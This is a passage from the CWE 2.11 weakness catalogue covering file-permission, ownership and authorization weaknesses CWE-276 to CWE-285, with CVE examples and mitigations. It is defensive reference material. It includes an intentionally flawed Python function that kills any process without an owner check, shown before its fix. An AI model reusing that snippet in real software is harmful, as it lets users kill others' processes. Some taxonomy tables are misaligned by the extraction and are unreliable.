<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>61</td>
<td>UNIX Symbolic Link (Symlink) Following</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>276</td>
<td>Incorrect Default Permissions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>277</td>
<td>Insecure Inherited Permissions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>278</td>
<td>Insecure Preserved Inherited Permissions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>281</td>
<td>Improper Preservation of Permissions</td>
<td>699</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>426</td>
<td>Untrusted Search Path</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>689</td>
<td>Permission Race Condition During Resource Copy</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>699</td>
</tr>
</tbody>
</table>

Affected Resources
- File/Directory

Functional Areas
- File processing, non-specific.

Taxonomy Mappings

Related Attack Patterns

References
CWE-276: Incorrect Default Permissions

**Weakness ID:** 276 *(Weakness Variant)*

**Description**

**Summary**
The software, upon installation, sets incorrect permissions for an object that exposes it to an unintended actor.

**Time of Introduction**
- Architecture and Design
- Implementation
- Installation
- Operation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

- Confidentiality
- Integrity
- Read application data
- Modify application data

**Likelihood of Exploit**
Medium

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Inter-application Flow Analysis

**Manual Static Analysis - Binary / Bytecode**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Host Application Interface Scanner
- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer
  - Automated Monitored Execution
  - Forced Path Execution
Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0426</td>
<td>Default permissions of a device allow IP spoofing.</td>
</tr>
<tr>
<td>CVE-2001-1550</td>
<td>World-readable log files allow information loss; world-readable file has cleartext passwords.</td>
</tr>
<tr>
<td>CVE-2002-1711</td>
<td>World-readable directory.</td>
</tr>
<tr>
<td>CVE-2002-1713</td>
<td>Home directories installed world-readable.</td>
</tr>
<tr>
<td>CVE-2002-1844</td>
<td>Windows product uses insecure permissions when installing on Solaris (genesis: port error).</td>
</tr>
<tr>
<td>CVE-2005-1941</td>
<td>Executables installed world-writable.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-277: Insecure Inherited Permissions

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>1000 1124</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734 1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844 1300</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868 1319</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>946</td>
<td>SFP Secondary Cluster: Insecure Resource Permissions</td>
<td>888 1375</td>
</tr>
</tbody>
</table>

Causal Nature
- Implicit

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Insecure Default Permissions</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO06-C</td>
<td>Create files with appropriate access permissions</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO01-J</td>
<td>Create files with appropriate access permission</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO06-CPP</td>
<td>Create files with appropriate access permissions</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Accessing Functionality Not Properly Constrained by ACLs</td>
<td></td>
</tr>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
<td></td>
</tr>
<tr>
<td>127</td>
<td>Directory Indexing</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-277: Insecure Inherited Permissions

Weakness ID: 277 (Weakness Variant) Status: Draft

Description

Summary
A product defines a set of insecure permissions that are inherited by objects that are created by the program.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- All

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1786</td>
<td>Insecure umask for core dumps [is the umask preserved or assigned?].</td>
</tr>
<tr>
<td>CVE-2005-1841</td>
<td>User's umask is used when creating temp files.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>G</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>946</td>
<td>SFP Secondary Cluster: Insecure Resource Permissions</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Insecure inherited permissions</td>
</tr>
</tbody>
</table>

CWE-278: Insecure Preserved Inherited Permissions

Weakness ID: 278 (Weakness Variant) Status: Incomplete

Description

Summary

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

Time of Introduction

- Architecture and Design
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Integrity

Read application data

Modify application data

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1724</td>
<td>Does not obey specified permissions when exporting.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
CWE-279: Incorrect Execution-Assigned Permissions

Description

**Summary**

While it is executing, the software sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.

**Time of Introduction**

- Architecture and Design
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Confidentiality
- Integrity
  - Read application data
  - Modify application data

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0265</td>
<td>Log files opened read/write.</td>
</tr>
<tr>
<td>CVE-2002-1694</td>
<td>Log files opened read/write.</td>
</tr>
<tr>
<td>CVE-2003-0876</td>
<td>Log files opened read/write.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

- Operation
  
  Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
CWE-280: Improper Handling of Insufficient Permissions or Privileges

**Nature**
- Type: C
- ID: 946
- Name: SFP Secondary Cluster: Insecure Resource Permissions

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>FIO06-C</td>
<td>Insecure execution-assigned permissions</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO01-J</td>
<td>Create files with appropriate access permissions</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO06-CPP</td>
<td>Create files with appropriate access permissions</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
</tr>
</tbody>
</table>

**CWE-280: Improper Handling of Insufficient Permissions or Privileges**

**Weakness ID:** 280 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Other
- Other
  - Alter execution logic

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0501</td>
<td>Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.</td>
</tr>
<tr>
<td>CVE-2004-0148</td>
<td>FTP server places a user in the root directory when the user's permissions prevent access to his/her own home directory.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>275</td>
<td>Permission Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
<td>1000</td>
</tr>
</tbody>
</table>

Relationship Notes

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Research Gaps

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Theoretical Notes

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Fails poorly due to insufficient permissions</td>
</tr>
<tr>
<td>WASC</td>
<td>17</td>
<td>Improper Filesystem Permissions</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

Maintenance Notes

CWE-280 and CWE-274 are too similar.

CWE-281: Improper Preservation of Permissions

<table>
<thead>
<tr>
<th>Weakness ID: 281 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td></td>
</tr>
<tr>
<td>The software does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.</td>
<td></td>
</tr>
<tr>
<td>Time of Introduction</td>
<td></td>
</tr>
<tr>
<td>• Architecture and Design</td>
<td></td>
</tr>
<tr>
<td>• Implementation</td>
<td></td>
</tr>
<tr>
<td>• Operation</td>
<td></td>
</tr>
<tr>
<td>Applicable Platforms</td>
<td></td>
</tr>
<tr>
<td>Languages</td>
<td></td>
</tr>
<tr>
<td>• All</td>
<td></td>
</tr>
</tbody>
</table>
Common Consequences
Confidentiality
Integrity
Read application data
Modify application data

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0195</td>
<td>File is made world-readable when being cloned.</td>
</tr>
<tr>
<td>CVE-2001-1515</td>
<td>Automatic modification of permissions inherited from another file system.</td>
</tr>
<tr>
<td>CVE-2002-2323</td>
<td>Incorrect ACLs used when restoring backups from directories that use symbolic links.</td>
</tr>
<tr>
<td>CVE-2005-1920</td>
<td>Permissions on backup file are created with defaults, possibly less secure than original file.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

This is resultant from errors that prevent the permissions from being preserved.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td>699 489</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>1000 1124</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>946</td>
<td>SFP Secondary Cluster: Insecure Resource Permissions</td>
<td>888 1375</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Permission preservation failure</td>
</tr>
</tbody>
</table>

CWE-282: Improper Ownership Management

**Weakness ID:** 282 *(Weakness Class)*  
**Status:** Draft

**Description**

**Summary**

The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Gain privileges / assume identity**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1125</td>
<td>Program runs setuid root but relies on a configuration file owned by a non-root user.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>699 469</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>284</td>
<td>Improper Access Control</td>
<td>1000 500</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631 983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699 1287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>944</td>
<td>SFP Secondary Cluster: Access Management</td>
<td>888 1375</td>
</tr>
</tbody>
</table>
CWE-283: Unverified Ownership

**Description**

**Summary**
The software does not properly verify that a critical resource is owned by the proper entity.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**
- All

**Common Consequences**
- Access Control
- Gain privileges / assume identity
  - An attacker could gain unauthorized access to system resources

**Demonstrative Examples**
This function is part of a privileged program that takes input from users with potentially lower privileges.

**Python Example:**

```python
def killProcess(processID):
    os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

**Python Example:**

```python
def killProcess(processID):
    user = getCurrentUser()
    #Check process owner against requesting user
    if getProcessOwner(processID) == user:
        os.kill(processID, signal.SIGKILL)
        return
    else:
        print("You cannot kill a process you don't own")
        return
```

**Observed Examples**
CWE Version 2.11
CWE-284: Improper Access Control

Reference | Description
---|---
CVE-2001-0178 | Program does not verify the owner of a UNIX socket that is used for sending a password.
CVE-2004-2012 | Owner of special device not checked, allowing root.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>282</td>
<td>Improper Ownership Management</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>944</td>
<td>SFP Secondary Cluster: Access Management</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes

This overlaps insufficient comparison, verification errors, permissions, and privileges.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Unverified Ownership</td>
</tr>
</tbody>
</table>

CWE-284: Improper Access Control

Weakness ID: 284 (Weakness Class) Status: Incomplete

Description

Summary

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.

Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Alternate Terms
Authorization
The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
- Other
- Varies by context

Potential Mitigations
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>699</td>
<td>469</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
<td>983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
<td>1028</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
<td>1119</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>944</td>
<td>SFP Secondary Cluster: Access Management</td>
<td>888</td>
<td>1375</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>269</td>
<td>Improper Privilege Management</td>
<td>699</td>
<td>478</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>282</td>
<td>Improper Ownership Management</td>
<td>699</td>
<td>502</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>285</td>
<td>Improper Authorization</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>286</td>
<td>Incorrect User Management</td>
<td>699</td>
<td>508</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
<td>508</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>346</td>
<td>Origin Validation Error</td>
<td>699</td>
<td>603</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
<td>699</td>
<td>1202</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>699</td>
<td>1354</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>942</td>
<td>Overly Permissive Cross-domain Whitelist</td>
<td>699</td>
<td>1371</td>
</tr>
</tbody>
</table>

Affected Resources
### CWE-285: Improper Authorization

**Weakness ID:** 285 *(Weakness Class)*  
**Status:** Draft

#### Description

**Summary**

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

**Extended Description**

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

#### Alternate Terms

**AuthZ**

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

**Languages**

- Language-independent

**Technology Classes**

- Web-Server *(Often)*
- Database-Server *(Often)*

#### Maintenance Notes

This item needs more work. Possible sub-categories include:

- Trusted group includes undesired entities (partially covered by CWE-286)
- Group can perform undesired actions
- ACL parse error does not fail closed

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>19</td>
<td>Embedding Scripts within Scripts</td>
</tr>
<tr>
<td>474</td>
<td>Signature Spoofing by Key Theft</td>
</tr>
</tbody>
</table>

#### References


A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

**Common Consequences**

- **Confidentiality**
  - Read application data
  - Read files or directories

  An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

- **Integrity**
  - Modify application data
  - Modify files or directories

  An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

- **Access Control**
  - Gain privileges / assume identity

  An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

**Likelihood of Exploit**

- High

**Detection Methods**

- **Automated Static Analysis**
  - Limited

  Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

